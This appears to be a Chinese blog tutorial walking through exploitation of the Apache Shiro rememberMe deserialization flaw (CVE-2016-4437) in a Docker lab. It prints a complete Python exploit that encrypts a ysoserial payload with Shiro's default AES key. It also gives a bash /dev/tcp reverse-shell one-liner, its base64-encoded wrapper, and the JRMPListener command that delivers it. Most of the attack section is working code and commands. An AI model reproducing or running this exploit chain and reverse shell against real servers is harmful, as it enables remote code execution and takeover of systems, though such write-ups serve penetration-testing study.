Apache-shiro漏洞利用合集

这里漏洞原理不再多进行赘述 主要是测试漏洞的利用过程

漏洞1:shiro-550 CVE-2016-4437 shiro反序列化漏洞

利用版本 Apache-shiro <1.2.4

漏洞环境docker安装

docker pull medicean/vulapps:s_shiro_1
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

启动成功以后直接访问本地的8081端口即可

首先在登录界面输入相应的号之后点记住我 抓包

 

发现是存在rememberMe=deleteMe的字段的 是有可能存在shiro反序列化的 

利用工具地址1:

https://github.com/insightglacier/Shiro_exploit

首先在目录下执行如下的命令

python shiro_exploit.py -u http://192.168.206.153:8081

后续使用步骤由于环境问题这里没办法实验 下一款利用工具:

(ps:很多工具已经由于不再更新了 也就不展示了 懂原理就行)

这里补充一下python的exp的代码

import sys
sys.path.append("./package")
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):  # ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])

print("rememberMe={0}".format(payload.decode()))


第一步 利用python生成exp

C:\Users\86181\Desktop\Shiro550_exploit>python shiro_exp2.py 192.168.206.153:15547
rememberMe=
QT5g+CpFTCOJ/0QjKwVWk0ga4OSMMwN05U1tMde7u7XTdBpmNg8fnji+2om5WqLWljloFje4Uxnfr1tgAEcKeAYho/Y6O/F3XFCtKZDrqnbT04EcsT7RLPXPspMqumXkrT+D5rLImevLAUkB+tPi6TtcScjUTbgkeWel0pE6IjxGPPZF7MJWtpqlrJenlj0Nwp75mh1ktvOhxoKlVJf0BIS7Sk/0G0oxFsB7zRwdtcy+IF/PWnxb/V2xVmwb8auTkJkzB+Tn0y/KrbyAArXjSYKLDS3NfLhegmBTFYrtBy6D4QMnBYbkyxjhsKwkSczRerzBy076qTXDpvfXwT8vPSkGw+XRnUh3f+o79yB7TFMn6AOAr2RCks/fbP1+SgRwy6gGT4O8ou11U/YP+Zryhw==


第二步 构造nc进行监听 监听的端口是8082端口

bash -i >& /dev/tcp/192.168.206.153/8082 0>&1

进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx

替换其中的内容

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}

继续替换 之后将此内容输入到终端 开始监听第二个交互端口15547端口

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 15547 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}'

之后我们对web登录成功以后的界面刷新抓包 删除掉jsessionid  并且替换掉rememberme

 

之后nc的监听也就上线了(ps:nc要在放包之前监听 否则就晚了)

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值